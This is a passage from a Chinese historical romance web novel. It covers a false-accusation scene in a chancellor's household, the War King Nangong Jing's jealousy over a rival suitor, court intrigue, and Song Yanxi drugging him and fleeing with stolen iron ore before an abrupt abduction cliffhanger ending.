宋章腾地从位子上站了起来:“养你们是吃干饭的吗?还不快堵上她的嘴。” 正当那些小厮手忙脚乱地去捂住李娘子的嘴时,厅堂的门忽然被人从外向内打开。 一道修长的身影逆光而来,随着沉稳的脚步声落下,黑色长靴停留在李娘子几步开外。 “你说,谁不是完璧之身?” 听到这声音,宋颜夕立刻抬头看去,果然,看到了一身黑色劲装的南宫景。 宋颜夕闪过疑惑之色,他怎么在今日回来了? 而且,他今日没有戴面具。 “你,你是......” 看到南宫景的时候,李娘子开始挣扎,但她的嘴被堵上,只能指着南宫景,“呜呜呜”半天,愣是没讲出一个字。 “大胆民妇,竟敢拿手指着战王殿下?”身侧的林昊拔出配刀,直接架到李娘子的脖子上。 李娘子的天塌了。 她万万没想到,宋颜夕的那个便宜夫君竟然会是当朝战王。 怪不得宋颜夕能够一跃成为丞相府的千金,这背后,恐怕便是战王在替她铺路。 李娘子的身子抖得跟筛子似的。 今日要拉宋颜夕下马,这个男人一定不会放过她的。 “不知战王驾到,下官有失远迎。殿下还请上座。” 宋章直接将主位让给南宫景。 南宫景毫不客气地坐下,随手勾了一下,林昊便将李娘子押着跪倒在他面前。 “丞相府今日好生热闹,这是三堂会审?审的是什么案子?”看了堂上那几人一眼之后,南宫景淡淡开口。 “是这民妇诬陷宋二姑娘,不仅说她假冒相府千金,还说她在乡下已经嫁人。王爷您说,是不是很可笑?” 裴子耽立刻将事情始末讲给南宫景听。 南宫景听完,漫不经心地拔出腰间的匕首:“此事倒是新鲜。可都查清楚了?” “那是自然,宋二姑娘的身份,没有问题。” 南宫景点头。一边擦拭匕首,目光扫向跪在地上的李娘子:“既然不会讲话,舌头也不必留着了。” “王爷饶命,民妇并非有意诬陷宋二姑娘。这一切,都是丞相夫人指使的。” “你胡说什么?本夫人何时指使你了?”姜淑萍拍着桌子站了起来。 然而当南宫景的目光射过来的时候,她又立刻垂下了眼眸。 “民妇不敢欺瞒王爷,其实,民妇根本就不认识宋二姑娘。是宋夫人抓了我儿子,以我儿子的性命相威胁,让我在今日诬陷宋二姑娘。宋夫人还说了,我若是不按照她说的做,就要把我儿子溺毙在湖里。民妇只是一介草民,哪儿敢忤逆丞相夫人啊。求王爷开恩,救我荣儿一命吧。” 李娘子红着眼控诉,倒是让姜淑萍的脸上增添了不少色彩。 “无稽之谈,彩儿虽非我亲生,但自打她回府以来,我可是事事都紧着她,有怎么可能故意陷害她呢?定是这民妇见事情败露,胡口攀咬。来人呐,还不快把这满嘴谎话的妇人拖下去。” “宋夫人着什么急啊?” 南宫景一挥手,那些准备去拉扯李娘子的小厮就被林昊一脚踢飞。 “今日这事,既然让本王撞上了,自然要查个清楚明白。” 南宫景盯着李娘子:“你儿子长什么模样?本王派人替你寻寻?” 李娘子大喜,赶紧磕头道谢。 她并没有撒谎,姜淑萍的确是抓了她的儿子威胁她。若非如此,她也不可能冒着被杀头的危险将这件事爆出来。 “王爷,您怎么能信这民妇的话呢?我......” 姜淑萍正要开口,南宫景却直接甩了她一个冰冷的眼神:“你在教本王做事?” 有了南宫景的加入,这件事的风向很快就变了。 李荣很快就被找到。 不过姜淑萍毕竟扎根后宅多年,她虽然抓了李荣,却事事都是差遣身边的嬷嬷去做的。 那嬷嬷倒是个护主的,将所有罪责都认下。只说自己心疼宋婉儿,气不过宋颜夕抢了宋婉儿的婚事,这才想要将她赶出府去。 那嬷嬷以绑架勒索等罪名被带走之后,李娘子也以诬陷罪名蹲了大狱。 方赫和裴子耽一起押解犯人离开。 离开之前,裴子耽意味深长地看了柳如风一眼:“柳世子今日这亲怕是提不成了,不如,收拾收拾,回你的侯府吧。” 柳如风却不以为意:“既然二姑娘的身世没有问题,那柳某向宋丞相提亲,便没有问题吧?” “柳如风,你怎么就听不懂人话呢?我的意思是让你。” 裴子耽正要再提醒他,南宫景却已经走到柳如风的面前:“柳世子此言差矣。” 柳如风看向南宫景,不明白他的眸子为何冷若冰霜。 正要询问,南宫景已经继续说道:“世子若要向二姑娘提亲,又将本王置于何地?” 第200章:疯狂吃醋 “是柳某疏忽了,如今,王爷也算是二姑娘的小舅,柳某的确应该征求王爷同意。” 说完,他直接拱手弯腰,朝南宫景行了一个大礼:“柳如风诚心求娶宋二姑娘,还请王爷应允。” 听到“小舅”二字时,南宫景只觉得脑门上的青筋突突直跳。 “宋相认为,柳世子这女婿如何?”南宫景没有回答柳如风,反倒是看向宋章。 宋章斟酌片刻,道:“世子芝兰玉树,若能得此佳婿,也是我们彩儿的福气。” “父亲,您怎么能......” 宋婉儿正要冲出去阻止,却被姜淑萍拉住:“婉儿,此事容不得你插嘴。” “可是母亲,世子本就是我的夫君!我怎么能眼睁睁看着她娶了宋......” 姜淑萍直接一巴掌甩在她脸上:“真是越发没有规矩了。还不赶紧回去,好好反省。” 她朝一旁的丫鬟使了个眼色,那丫鬟立刻将宋婉儿带了下去。 就在宋婉儿以为这婚事就要板上钉钉的时候,南宫景却忽然开口:“宋大姑娘这是何意?难不成,大姑娘也对柳世子有意?” 见南宫景提到自己,宋婉儿立刻甩开那丫鬟:“是的战王殿下,都说长幼有序,我这长姐都还没有出阁,哪儿有先给二妹议亲的道理?” “大姑娘此言有理,宋相,不如,今日这事便此作罢吧。” 说完,他看向柳如风:“柳世子若当真有心求娶我们家二丫头,不如先解决了大姑娘的婚事,如何?” 柳如风还想再说什么,但南宫景显然不给他这个机会,当着所有人的面,直接把宋颜夕拉走了。 “本王与二姑娘还有要事相商,宋丞相不介意我带她去战王府住上几日吧?” 宋章自然是不愿意的,但南宫景既然已经说出了这句话,就不容他拒绝。 马车上,宋颜夕盯着南宫景: “王爷今日怎么不戴面具?” 南宫景随意扯了个理由:“面具碎了,修补还需些时日。” “何人如此能耐?竟然能打碎堂堂战王的面具?” “比起这个,我倒是要问问宋姑娘你,竟然趁我不在偷偷与那柳如风联系上了,怎么,你还真想嫁进永安侯府不成?” 宋颜夕将身体往后一靠:“我嫁给谁,与王爷无关吧。” 虽然她并没有和柳如风成亲的打算,但这并不代表眼前这个男人可以插手她的事。 “与我无关?” 南宫景忽然笑了。 宋颜夕狐疑看向他:“你笑什么?” 那表情,看着怪怪的。 “我想,宋姑娘是真的忘了你我之间的关系。” 说着,南宫景忽然靠近:“其实,我并不介意提醒你一下的。” “真以为你是我长辈了?我告诉你啊,你少拿小舅舅那套说事。” 南宫景的动作一僵:“小,舅舅?” 他现在跟她说的是这个事吗? “你也知道,我不是真正的宋彩衣。严格意义上来说,大长公主的那个认亲,根本就不成立。” “谁跟你说这个了?” 宋颜夕:“那你是什么意思?” “自然是......” 话还没说完,马车却忽然停了下来。 “怎么回事?”南宫景对车外的林昊问了一句。 “王爷,是柳世子在拦车。” 听到柳如风的名字,南宫景的脸色瞬间沉了下来。 宋颜夕也是一脸疑惑:“他怎么还追上来了?” “宋二姑娘,可否方便下车一叙?”柳如风的声音从车外飘了进来。 宋颜夕还没开口,南宫景直接吼了一句:“不方便。” “这是王爷的意思还是二姑娘的意思?恕柳某说句大不敬的,即便您是战王,也不能不经他人同意便将人带到自己府上。” 宋颜夕挑眉,这柳如风有些胆色啊。 她来东越这么久,还是头一回见到有人敢在知道南宫景身份之后还当面和他叫板的。 “柳世子是在谴责本王?” 南宫景掀开车联跳下去,直接和柳如风面对面,“谁给你的胆子这样与本王讲话?” “柳某只是就事论事,王爷心胸宽广,该不会因为这等小事与柳某计较吧?” “谁说本王心胸宽广了?” 南宫景的声音有些暗沉:“柳世子当街拦本王座驾,以下犯上,林昊,将他押回侯府,让安远侯好好管教。” “王爷,你不能这么做。” 柳如风也就是个柔弱书生,哪里会是林昊的对手,很快就被林昊押走了。从头到尾,他都没来得及和宋颜夕说上一句话。 车内,宋颜夕透过车帘看着窗外的一切。 她可是清楚地看到,林昊趁机扭伤了柳如风的胳膊。 “果然啊,这男人惯是小心眼。” 南宫景上车的时候,正好听见宋颜夕嘟嘟嘟囔囔说了一句。 “你说什么?”南宫景问。 宋颜夕答:“没什么,王爷就这样把柳世子架走了,不怕安远侯找你麻烦吗?” “宋姑娘这是心疼柳如风那小子了?” “你今日说话很奇怪!” 宋颜夕盯着南宫景:“可是调查不顺利?” “顺利,十分顺利,顺利得很。” 他此行的确查出不少东西,但没想到,一回京,媳妇儿差点被撬走了。 一提起这件事,南宫景就觉得心口堵得慌。 “都查出什么了?”宋颜夕抬眸看向他。 看到她眼中的光时,南宫景心中那怨气莫名消散了不少。 “此地不是说话的地方,回府再说。” 回到战王府之后没多久,宫里就来人了,说是皇帝约南宫景进宫一叙。 眼看南宫景就要出门,宋颜夕拉住他:“你还没说呢,调查结果到底怎么样?” 他才刚回京,皇帝就差人来请,这也太蹊跷了。 莫非那人说的是真的? 想要暗害大长公主的,真的是皇帝? 是因为皇帝忌惮南宫景的能力?想要将他除了吗? 若真是如此,那他这次进宫,只怕是...... 南宫景读懂了她眼中的担忧,轻轻拍了拍她的手:“别担心,不过是进宫一趟而已。你今日也乏了,我让人带你去洗漱一番,等我回来,陪你用膳。” 宋颜夕甩开他的手:“谁担心你了?走走走,赶紧走。” 南宫景揉了揉她的脑袋:“遵命,县主大人。” 宫里,南宫景坐在皇帝下首。 偌大的宫殿内,除了他们二人,连一个丫鬟太监都没有。 “皇叔前些日子离京,可是去查了什么大案子?”面对南宫景的时候,皇帝还是一如既往地天真无害。 “还真是大案子。” 南宫景放下茶杯,淡淡看向皇帝:“有犯人招供,暗害阿姊的幕后黑手,是陛下您。” “无稽之谈。” 皇帝“腾地”从龙椅上站了起来:“皇叔,你该不会信了他们的鬼话吧?皇姑母这么疼爱朕,朕怎么会害她呢?” “自然不信。” 南宫景站起来走向皇帝,一直到距离他只有两步的地方才停下来:“你我自小一起长大,陛下是什么性子,我还不清楚吗?这是有心之人的挑拨,目的,就是离间你我之间的君臣关系。” “朕就知道,皇室还是相信我的。那贼人如今可还在皇叔手中?” “受不了酷刑,咬舌自尽了。不过我这次出京,还真给陛下带来了一份礼物。想必,陛下会很喜欢。” 说着,南宫景从怀中掏出一封信交到皇帝手中。 第201章:结束是另一种开始 皇帝看了那东西,脸色一变:“有了这东西,就能给南宫宴定罪了。” “南宫宴狼子野心,做事必留后手。便是如今掌握了这份证据,陛下也不该操之过急。” 南宫景走到皇帝身侧,在他耳边说了几个字。 “不愧是皇叔,好,就这么干。” 得了绊倒南宫宴的证据,皇帝心情大好,邀请南宫景留在宫里用膳。 南宫景却摆了摆手:“陛下后宫这么多佳人,便不必拉着臣作陪了。府中还有人等我用膳呢。” 皇帝八卦的心熊熊燃烧:“能让皇叔亲自作陪,何人有这么大的面子?是不是我未来的小婶婶?” “陛下还是少过问臣的私事了,想想怎么解决南宫宴吧。” 南宫景朝他拱了拱手,直接离开大殿。 在他即将踏出殿门的时候,皇帝忽然冲他喊了一句:“皇叔若真心喜欢她,不妨早日向她表明心迹。朕也很希望战王府早日添个主母。” 回到王府的时候,宋颜夕正坐在院子里的摇椅上闭眼假寐。 听到脚步声,她猛地睁开眼。看到南宫景的时候,眼中的凌厉之色瞬间收了起来。 虽然眼神变化很快,但南宫景还是捕捉到了。 他心中一疼,那件事之后,她时时都如此警惕吗? “你的意思是,这一切真的是南宫宴做的?他就是屠龙会的幕后首领?而且,你已经掌握了关键证据?” 南宫景将此行的调查结果告知了宋颜夕。 “是啊,事情很快就会解决的。而且关于那批丢失的黑铁矿,我已经有了线索。而且已经派人去取,过不了多久,东西便能运回来了。” “你找到那个黑匣子了?” “那倒没有。” 宋颜夕了然,那就是国师已经招供了。 知情人都已经被灭口,除了那个黑匣子之外,国师便是知晓那批黑铁矿下落的唯一存在。 如今国师已经落马,以南宫景的手段,从国师口中挖出那黑铁矿的所在并不难。 宋颜夕眼珠子转了转,她在思考,若南宫景真的找到那批黑铁矿,她有几分把我能从他手中再将东西偷出来。 答案很显然,几乎为零。 她现在能用的人有限,而南宫景又是东越最有权势的权臣。从他手底下偷东西,是不可能的。 除非,能从内麻痹他。 要不,给他下一计猛药?让他直接把钥匙交给她? “想什么呢?”见她走神,南宫景伸手在她眼前晃了晃。 “我就是惊讶于王爷的办事速度,没想到才过了这么几日,事情便都解决了。既然如此,你我之间的合作便也该结束了。” “嗯。” 南宫景点头:“除此之外,宋姑娘还想与丞相府撇清关系吧?” “王爷有法子?” “自然。” 南宫景也希望宋颜夕尽快摆脱宋彩衣的身份,毕竟她若一直顶着这个身份,他就要始终以她小舅舅的名号自居。 对于这个身份,他可是万般厌恶。 不过宋颜夕这张脸已经在很多人面前出现过,若是想给她换个身份,得从长计议。 他忽然想起皇帝的那句话。 表明心迹吗? 他其实已经给宋颜夕写过信了,为什么这丫头如今面对他的时候,还是同以往一样? 是他心中写得不够清楚吗? “对了,我写给你的信,你可收到?”南宫景问道。 提起那封信,宋颜夕捏了捏拳头:“王爷日后若是要整我,还是换个法子吧。那样的信,还恶心不到我。” “整蛊?恶心?你到底有没有好好看信?” 南宫景一脸莫名,正要询问,宋颜夕却已经起身:“不是说回来陪我用膳吗?本姑娘都饿了。” 看着她的背影,南宫景陷入沉思,=。 莫不是他写得太隐晦了?她没瞧出他对她的心意? 不行,他必须换个法子。 若是以往也就罢了,他徐徐图之也没什么。但如今还有个柳如风虎视眈眈,他绝对不能再拖下去。 用过膳之后,南宫景直接将宋颜夕带到了他的书房。 而且,还带她进了那挂满画的密室。 看到自己前世的画像被挂满整个房间的时候,宋颜夕着实吃惊不小。 “怎么样,你如今可明白我的心了?”南宫景压低声音问了一句,然后,满怀期待地看着宋颜夕。 宋颜夕点头:“明白,这有什么不好明白的呢?” 这厮果然狡诈,竟然在私底下派人调查她,画这么多画像,定是为了研究她,好将她除之后快。 不行,这地方是万万不能待下去了。 万一被这家伙知晓她的真实身份,还不得被他暗害了? 如此想着,宋颜夕转身就走。 她必须想个完全的办法离开这地方,并且,带着那批黑铁矿一起走。 “怎么还害羞了呢?”南宫景喃喃自语。 原本想追上去的,但想了想还是决定让她自己好好想想。 等她想明白了,自然会来找他的。 宋颜夕的确是过了几天就来找他了,但却和他想象中完全不同。 她约他到一个僻静的山间小院饮茶,然后,趁机将他弄晕,等他醒来的时候已经是五日之后,他的随身印信和出城的令牌都没了。 “王爷,这事肯定不是宋姑娘干的,一定是栽赃陷害。” 看到南宫景那张铁青的脸,林昊战战兢兢地说出这句话。 南宫景却直接甩袖离开:“宋颜夕,你便是跑到天涯海角,本王也必定会把你抓回来。” 另一边,已经策马出城的宋颜夕猛地打了一个喷嚏。 “姑娘,可是受了风寒?”紫翎和春分同时问道。 宋颜夕摇了摇头:“想必是某人在背后骂我,那批黑铁矿找到了吗?” “姑娘给的线索十分有用,我们的人已经将铁矿偷出,只等姑娘一声令下就能运回西菱。但入关的话,怕是会被巫黛的人察觉。” “这个我自有办法,咱们加快脚程,必须在十日内赶到边境。” 然而就在他们临近边境的时候,却又发生了一个意外。 她们遇到了一队黑衣人的暗杀,春分和紫翎为了保护她拖着那些杀手,而宋颜夕则在逃亡的过程中,被一道黑影打晕。 当她睁开眼的时候,发现自己躺在一张赤红色的大床上。 而在她面前,站着一个身穿黑色斗篷的黑衣人。 “你是谁?”宋颜夕厉声问道。 那人转过身来的时候,却露出一个黝黑的骷髅头。 “欢迎来到地狱!我的猎物!” (本文完)